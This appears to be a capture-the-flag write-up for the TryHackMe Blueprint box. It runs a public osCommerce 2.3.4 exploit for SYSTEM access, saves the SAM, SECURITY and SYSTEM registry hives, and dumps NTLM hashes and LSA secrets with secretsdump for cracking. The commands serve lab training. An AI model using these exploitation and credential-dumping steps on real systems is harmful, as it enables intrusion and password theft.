THM - Blueprint

This is an easy level box Windows box from Try Hack Me. It focuses on web exploitation and windows commands to extract the required credentials.

I first start off with an NMAP scan with scripts and service detection enabled.

```
nmap -sC -sV 10.10.149.74


Starting Nmap 7.60 ( https://nmap.org ) at 2024-01-16 01:48 GMT
Nmap scan report for ip-10-10-149-74.eu-west-1.compute.internal (10.10.149.74)
Host is up (0.098s latency).
Not shown: 987 closed ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: 404 - File or directory not found.
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
|_http-title: Index of /
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql        MariaDB (unauthorized)
8080/tcp  open  http         Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
|_http-title: Index of /
```

```
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 02:D2:65:60:C9:B3 (Unknown)
Service Info: Hosts: www.example.com, BLUEPRINT, localhost; OS: Windows; CPE:
cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
|_nbstat: NetBIOS name: BLUEPRINT, NetBIOS user: <unknown>, NetBIOS MAC:
02:d2:65:60:c9:b3 (unknown)
| smb-os-discovery:
|   OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: BLUEPRINT
|   NetBIOS computer name: BLUEPRINT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-01-16T01:49:57+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-01-16 01:49:59
|_  start_date: 2024-01-16 01:43:22

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.10 seconds
```

This reveals basic windows services along with a few web services.

```
http://10.10.149.74:8080/oscommerce-2.3.4/
```

Checking out port 8080, it is revealed that os-commerce is being hosted.

```
https://www.exploit-db.com/exploits/50128
```

Looking into exploits, I found this one. The exploit requires the install.php file to be accessible.

```
http://10.10.149.74:8080/oscommerce-2.3.4/catalog/install/install.php
```

The install page is accessible to us, so we can utilize the exploit.

```
https://www.exploit-db.com/exploits/50128
python3 50128.py http://10.10.149.74:8080/oscommerce-2.3.4/catalog/
```

This grants us system user access to the box.

```
more C:\Users\administrator\Desktop\root.txt.txt
```

I read the root file to answer question 2.

To get the NTLM hash, the easiest way to do this was to extract the sam, system, and security files from registry. From the attacker machine we can extract and crack.

```
reg.exe save hklm\sam sam
reg.exe save hklm\security security
reg.exe save hklm\system system
```

This places it into the folder below to be extracted to the attacker system.

```
http://10.10.149.74:8080/oscommerce-2.3.4/catalog/install/includes/
```

After downloading, we can extract it using impacket's secretsdump.py file.

```
root@ip-10-10-48-11:/opt/impacket/examples# secretsdump.py -sam /root/sam.save -security /root/security.save -system /root/system.save LOCAL
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra
```

```
[*] Target system bootKey: 0x147a48de4a9815d2aa479598592b086f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:549a1bcb88e35dc18c7a0b0168631411
:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Lab:1000:aad3b435b51404eeaad3b435b51404ee:30e87bf999828446a1c1209ddde4c450:::
test:1002:aad3b435b51404eeaad3b435b51404ee:cc8147f790c91200a3e02c2ebc65f9fb:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):malware
[*] DPAPI_SYSTEM
dpapi_machinekey:0x9bd2f17b538da4076bf2ecff91dddfa93598c280
dpapi_userkey:0x251de677564f950bb643b8d7fdfafec784a730d1
[*] Cleaning up...
```

We now have the hash.

```
30e87bf999828446a1c1209ddde4c450
```

This can easily be cracked with rock you or with Crackstation online.

The cracked hash answers question 1 and completes Blueprint!